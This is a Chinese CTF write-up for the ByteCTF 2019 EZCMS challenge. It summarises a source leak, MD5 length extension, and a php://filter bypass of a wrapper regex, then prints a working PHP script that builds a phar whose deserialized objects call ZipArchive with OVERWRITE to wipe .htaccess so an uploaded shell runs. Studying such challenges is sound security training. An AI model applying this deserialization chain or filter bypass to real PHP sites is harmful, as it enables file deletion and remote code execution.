刷題記錄:[ByteCTF 2019]EZCMS
題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:ByteCTF_2019&XNUCA_2019部分web題復現
一、知識點
1、源碼泄露
訪問www.zip獲取源碼
2、MD5長度擴展攻擊
之前涉及過了
3、php://filter繞過正則實現phar反序列化
就算知道是這個思路,自己也做不出來。。。
這里上傳shell沒有問題,阻礙是.htaccess被亂寫導致解析不了,所以我們的目的是重寫或者干脆刪除.htaccess
首先要知道源碼中preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)的過濾是可以繞過的,最后訪問phar://時可以訪問php://filter/resource=phar://
最后的phar腳本如下
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct()
{
// $this->checker=new Admin();
$this->checker=new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$this->password = ZipArchive::OVERWRITE;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
$a = new File('Lethe','Lethe');
@unlink("1.phar");
$phar = new Phar("1.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$phar->setMetadata($a); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
